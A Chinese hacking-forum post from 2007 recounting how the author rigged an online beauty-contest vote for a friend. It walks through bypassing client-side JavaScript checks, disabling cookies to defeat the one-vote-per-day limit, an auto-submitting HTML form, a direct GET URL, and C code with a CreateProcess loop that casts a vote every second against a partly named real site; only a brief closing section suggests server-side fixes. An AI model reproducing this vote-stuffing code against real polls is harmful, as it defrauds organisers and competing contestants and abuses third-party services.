飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 2254|回复: 1

基于常见投票系统的作弊方法与如何防护

[复制链接]
  • TA的每日心情
    开心
    2024-6-9 16:20
  • 签到天数: 24 天

    [LV.4]偶尔看看III

    发表于 2007-12-14 16:31:16 | 显示全部楼层 |阅读模式
    最近一朋友在网上参加了一个选帅哥美女之类的活动,我朋友那个样子怎么选也轮不上他,但是访客给选手投票数的多少决定了谁是最高的人气,谁就是最帅的,最终也可以获得一定的奖励,也就被评为传说中的mjj.那天晚上刚一上网就被那个朋友拉去给他投票,丢给我一网站要我给他投票,打开页面一看,里面没有什么帅哥美女,选手最高的票数已经几千了,可是他却还是20多票,可怜,靠他这种拉人气追上去是几乎是不可能了,因为网站做了限制,一台电脑每天最多投一票!!处于职业习惯,看了一下网站,蛮简介的,随便测试了一下,没有找出漏洞,估计应该没有什么常见的漏洞吧,但是为了给朋友尽快追上那两千多票只好继续研究起来了。首先找程序,网上百度了一下,一下子找不到那套程序,看来用的人很少。不能靠人家,只好自己一步步去突破了。

    第一步 摸清流程:

    投票系统首先要求访客填写一些个人信息后再投票,其中个人信息包括电话邮箱之类的,然后提交数据通过另外一个页面插入到数据库,传过去的值 menberid,也就是选手的id.同时选手的投票数在数据库里面自动加一,达到给选手投票的目的,投票完成后,产生cookies保存你电脑里面,记录你的投票信息,限制你继续投票。


    第二步 绕过验证

    查看html源代码,只是通过javascript判断而已,这个判断你输入个人信息是否合法,这限制很容易突破,保存源代码,去掉那些javascript验证,重新打开页面,个人信息就可以随便填写了, 下面是投票者填写信息的页面。

    第二步 突破限制

    进一步测试,经过分析发现访客填写的这些个人信息并没有插入到数据库里面去,只是前台页面验证而已,去掉了javascript验证后,我们可以不用填写个人信息就直接去投票了,这方便多了,为后来的快速投票开辟了一条大道!其中最关键的限制是cookies限制,对于cookies限制,我们可以设置浏览器禁用本站 cookies就可以了?就这样轻易的绕过javascript验证和突破cookies限制了,然后自己编写了一个html页面,去掉了一些多余的代码就可以无限制的投票了,代码如下:
    <form  action="http://www.XXXX.cn/tp2/qiu/pointsubmit.asp" method="post" >
    <input name="menberid" type="checkbox"  checked="checked" id="menberid" value="141" />
    <input type="submit" value="提交" />
    </form> 打开这个页面后每点击一次提交就可以给id为141的选手投一次票了,我们可以加入javascript让他不需要单击提交按钮就直接提交数据。完整代码如下:
    <script language="javascript">
    function tang()
    {
    document.form1.submit()
    }
    </script>
    <body onload="tang();">
    <form  name="form1"action="http://www.XXXX.cn/tp2/qiu/pointsubmit.asp" method="post" >
    <input name="menberid" type="checkbox"  checked="checked" id="menberid" value="141" />
    <input  name="submit1"type="submit" value="提交" />
    </form>
    </body>

    第三步 再次探究

      猜想用get的方法是否也可以提交,经过测试可以提交数据,虽然上面采用post提交,但是pointsubmit.asp接收页面采用request ()方法接收数据,不管post和get来的数据都可以接收,这就好办多了,直接构造url http://www.XXXX.cn/tp2/qiu/pointsubmit.asp?menberid=141
    每浏览一次这个页面就自动投一次票,这种投票方法更方便。


    第三步 快马加鞭

    这投票系统果然有很大的缺陷,虽然上面的两个方法可以无限制的给选手投票了,但是要开着浏览器经常点击后退按钮才行,点击超过上千票也需要一点时间,反正胜利在握,而且还的是时间,继续研究写一个应用程序出来,先给邢同学打个电话先,告诉她我又要干坏事了,完后就操家伙vc6.0 。利用上面的缺陷可以轻易的编写代码,参考网上的代码如下
    void vote()
    {
          char url[200] = " http://www.cd5c.cn/tp2/qiu/pointsubmit.asp?menberid=141
    ;
      HINTERNET hinternet=0;
      hinternet=InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
      if(hinternet==0)
      {
        return;
      }
      HINTERNET hInternetFile;
        hInternetFile = InternetOpenUrl(hinternet,url, NULL, 0, INTERNET_FLAG_TRANSFER_BINARY | INTERNET_FLAG_RELOAD |   INTERNET_FLAG_DONT_CACHE, 0);
      if (!hInternetFile)
      {
        return;
      }

      char buffer[2*1024] = "0";
      DWORD dwBytesRead = 0;
      InternetReadFile(hInternetFile,buffer,sizeof(buffer),&dwBytesRead);
      printf("%s\n\n",buffer);

      InternetCloseHandle(hinternet);
      return;
    }

    上面这个vote()函数实现的功能就是提交一次投票连接,可以增加一票。但是,呵呵,我们可以绕一下,把这个函数编译成exe文件,然后用另外一个程序去不停地CreateProcess这个exe文件,假设上面的代码编译连接成toupiao.exe,你就可以用下面的代码来调用:
    void main()
    {
    printf("code by xiaobai\n\n");

    int num = 0;
    printf("请输入投票次数: ");
    scanf("%d", &num);

    int i = 0;
    while(i<num)
    {
    STARTUPINFO startinfo;
    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    startinfo.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION processinfo;
          if(CreateProcess(NULL, "toupiao.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &startinfo, &processinfo) == 0)
    {
    printf("Create process error!\n");
    return;
    }
    CloseHandle(processinfo.hProcess);
    Sleep(1000);
    printf("%d ", i);
    i++;
    }
    return;
    }

    这样一来,就可以不停地投票了。为了程序的稳定性,我设置了每投一次票就sleep一秒钟,现在,你一个小时就可以投3600票,呵呵,是不是有点过分了,嘿嘿。人气最高的选手决定在我的手里了。这次朋友交给我的任务完成得太好了。

    第四步 如何防护

    后来我从网上下载了几套投票系统程序研究了一下,几乎都存在上面的缺陷,解决这些缺陷也很容易,如果是通过cookies验证的话,应该要先判断浏览器是否禁用了cookies,如果禁用了就不给投票。

    另外一个缺陷是接收数据的那个页面,缺陷解决方法,应该在接收数据页面指定用request.Form接收数据,这样可以防止构造url来传值。还有那些访客填写的个人信息一台传递过去,在另一个页面判断,防止一些人偷懒。

    chinabch.cn  编程汉原创
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2008-11-3 10:23:17 | 显示全部楼层
    高手,学习中/:good
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表